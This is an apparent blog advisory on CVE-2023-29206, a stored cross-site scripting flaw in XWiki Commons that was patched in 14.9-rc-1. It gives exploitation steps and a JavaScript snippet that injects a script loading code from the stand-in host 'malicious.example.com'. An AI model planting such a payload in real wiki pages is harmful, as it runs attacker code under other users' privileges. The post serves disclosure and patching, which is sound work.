XWiki Commons, a set of technical libraries used by various top-level XWiki projects, has been identified with a significant vulnerability (CVE-2023-29206) allowing unauthorized users to execute scripts and perform malicious operations on behalf of users with proper rights. This vulnerability is due to the lack of an adequate check in the author of a JavaScript xobject or StyleSheet xobject added in an XWiki document. The issue has been addressed in XWiki 14.9-rc-1, and this post aims to provide a detailed overview of the vulnerability, its exploit details, and the solution implemented.

Vulnerability Overview

In previous versions of XWiki Commons, it was possible for a user with only Edit Right to create a JavaScript xobject or StyleSheet xobject within an XWiki document. By doing so, the user could craft a script that would perform various operations when executed by another user with appropriate rights. This vulnerability can be exploited for cross-site scripting (XSS) attacks, potentially compromising the security and privacy of other users within the XWiki project.

Add a JavaScript xobject or StyleSheet xobject to an XWiki document.

2. Craft a malicious script within the xobject that takes advantage of the privileges of other users who access the document.
3. Wait for the victims to view the document, which will automatically execute the crafted script under their user privileges.

Here's an example of a malicious code snippet that an attacker could use

(function() {
    // Craft your malicious script here
    var exploit = document.createElement('script');
    exploit.src = 'https://malicious.example.com/evil-script.js';;
    document.body.appendChild(exploit);
})();

Original References

- Details about the vulnerability can be found on the XWiki Security Advisory.
- The XWiki 14.9-rc-1 Release Notes provide information about the patched version.

Solution

The issue has been patched in XWiki 14.9-rc-1 by only allowing the execution of JavaScript or StyleSheet xobjects if the author has Script rights. This preventive measure ensures that unauthorized users cannot create or execute malicious scripts within the XWiki project, thus mitigating the risk of XSS attacks.

It is highly recommended to upgrade to XWiki 14.9-rc-1 or later versions to be protected against this vulnerability. To update your XWiki Commons libraries, follow the steps outlined in the XWiki Upgrade Guide.

Conclusion

This post aimed to provide an exclusive, detailed overview of the CVE-2023-29206 vulnerability, which was identified in XWiki Commons and has been patched in version 14.9-rc-1. By updating your XWiki project to the latest version, you can ensure the security and integrity of the project, as well as protect your users against potential XSS attacks.

Timeline

Published on: 04/15/2023 16:15:00 UTC
Last modified on: 04/26/2023 19:16:00 UTC